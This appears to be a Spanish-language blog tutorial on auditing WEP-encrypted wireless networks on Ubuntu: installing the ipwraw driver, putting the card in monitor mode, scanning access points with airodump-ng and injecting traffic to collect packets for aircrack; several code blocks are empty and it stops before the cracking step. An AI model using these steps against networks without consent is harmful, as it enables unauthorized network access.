			<content:encoded><![CDATA[<p>En vista al interes de  muchos de mis amigos, en cuanto este tema, vamos a dar una pequeña reseña sobre la inseguridad del cifrado WEP, en las redes wireless.</p>
<p>Cabe mencionar que no nos hacemos responsables del mal uso que se le pueda dar a esta informacion y que lo unico que pretendemos es poner en evidencia la inseguridad que representa usar el cifrado WEP en las redes wireless, y que las pruebas que podamos efectuar, siempre sea dentro de redes en las cuales tengamos total concentimiento de sus administradores o propietarios, aclarado este punto continuemos con lo que nos interesa.</p>
<p>Esta informacion esta comprobada para las versiones 7.4 y 7.10, cuando instalamos ubuntu en nuestro equipo, por defecto instala la tarjeta de red con el modulo IPW394 (Intel ProWireless 3945 ABG), para poder hacer la auditoria, es necesario poder poner la tarjeta en modo monitor, lo cual no es posible con este modulo, por lo que es necario instalar los modulos IPWRAW</p>
<p>Antes de instalar el ipwraw debemos instalar algunas dependencias, esto lo hacemos de la siguiente forma</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> - build-essential
$ <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> - linux-ubuntu-modules-$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">uname</span> -r<span style="color: #7a0874; font-weight: bold;">&#41;</span> linux-restricted-modules-$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">uname</span> -r<span style="color: #7a0874; font-weight: bold;">&#41;</span> linux-image-debug-$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">uname</span> -r<span style="color: #7a0874; font-weight: bold;">&#41;</span> linux-image-$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">uname</span> -r<span style="color: #7a0874; font-weight: bold;">&#41;</span> linux-headers-$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">uname</span> -r<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre>
</div>
</div>
<p>Aqui (uname -r), nos sirve para devolver la version del kernel que tenemos instalado, asi no tendremos problemas para instalar los paquetes que requerimos.</p>
<p>Si no hemos tenido ningun error hasta aqui, continuamos con la instalacion de ipwraw</p>
<p>descargamos las fuentes</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>dl.aircrack-ng.org<span style="color: #000000; font-weight: bold;">/</span>drivers<span style="color: #000000; font-weight: bold;">/</span>ipwraw-ng-2.3.4-04022008.tar.bz2</pre>
</div>
</div>
<p>Descomprimimos el paquete,</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">tar</span> <span style="color: #660033;">-xjf</span> ipwraw-ng-2.3.4-04022008.tar.bz2</pre>
</div>
</div>
<p>Para instalar, nos cambiamos a la carpeta que se acaba de generar, y tecleamos.</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">make</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span>
<span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">make</span> install_ucode</pre>
</div>
</div>
<p>Con esto ya esta instalado el modulo, pero ahora lo agregaremos a la black list, esto para que no lo carge por defecto si no, solo cuando lo necesitemos.</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> “blacklist ipwraw” <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">tee</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>modprobe.d<span style="color: #000000; font-weight: bold;">/</span>ipwraw

</div>
</div>
<p>Ya tenemos todo listo, para poder usar el ipwraw ahora solo hay desmontar el driver ipw3945 y cargar el ipwraw</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> modprobe <span style="color: #660033;">-r</span> ipw3945
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">sudo</span> modprobe ipwraw</pre>
</div>
</div>
<p>Para cargar el ipw3945, hacemos lo mismo, pero al contrario.</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">sudo</span> modprobe <span style="color: #660033;">-r</span> ipwraw
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">sudo</span> modprobe ipw3945</pre>
</div>
</div>
<p>Despues de montar y desmontar los driver&#8217;s hay que esperar un poco para que se efectuen los cambios.</p>
<p>Para comprobar, que esten funcionando, tecleamos lo siguiente.</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;">iwconfig</pre>
</div>
</div>
<p>Y devemos obtener algo como esto.</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;">lo        no wireless extensions.
&nbsp;

&nbsp;
rtap0     no wireless extensions.</pre>
</div>
</div>
<p>Tal vez puedas obtener wifi0 en lugar de eth1</p>
<p>Para efectuar la auditoria necesitaremos la suite aircrack si no la tenemos instalada lo hacemos con esto.</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;"> <span style="color: #c20cb9; font-weight: bold;">sudo</span> <span style="color: #c20cb9; font-weight: bold;">apt-get</span> <span style="color: #c20cb9; font-weight: bold;">install</span> aircrack-ng</pre>
</div>
</div>
<p>Listo, ahora empezaremos por averiguar cuales son los acces points accesibles</p>
<div class="wp_syntax">
<div class="code">
<pre class="bash" style="font-family:monospace;">airodump-ng rtap0</pre>
</div>
</div>
<p>Y deberiamos obtener algo parecido a esto.</p>
<div class="wp_syntax">

</div>
<p>Al identificar nustro objetivo debemos ejecutar el siguiente <a href="http://www.vive-libre.com/blog/etc/script.sh">script</a> para poder inyectar trafico.</p>
<p>Veremos algo asi</p>
<div class="wp_syntax">
<div class="code">

<p>Empezamos a capturar los paquetes con el airodump-bg</p>

</div>
</div>
<p>Ya que estamos asociados, podemos inyectar para poder generar DATA que son los paquetes que nos interesan</p>
<div class="wp_syntax">
<div class="code">

</div>
</div>
<p>En unos cuantos segundos podemos ver como genero unos miles de DATA</p>
<div class="wp_syntax">
<div class="code">

You should also start airodump-ng to capture replies.

</div>
</div>
<p>Esperamos alrededor de 10 min para obtener una buena cantidad de DATA, el tiempo puede variar segun la distancia a la que te encuentres del acces point, no hay una cantidad exacta pero entre 200 300 mil DATA son suficientes segun lo comprobado.</p>
<p>Ahora solo  hay que pasar el fichero por el aircrack</p>
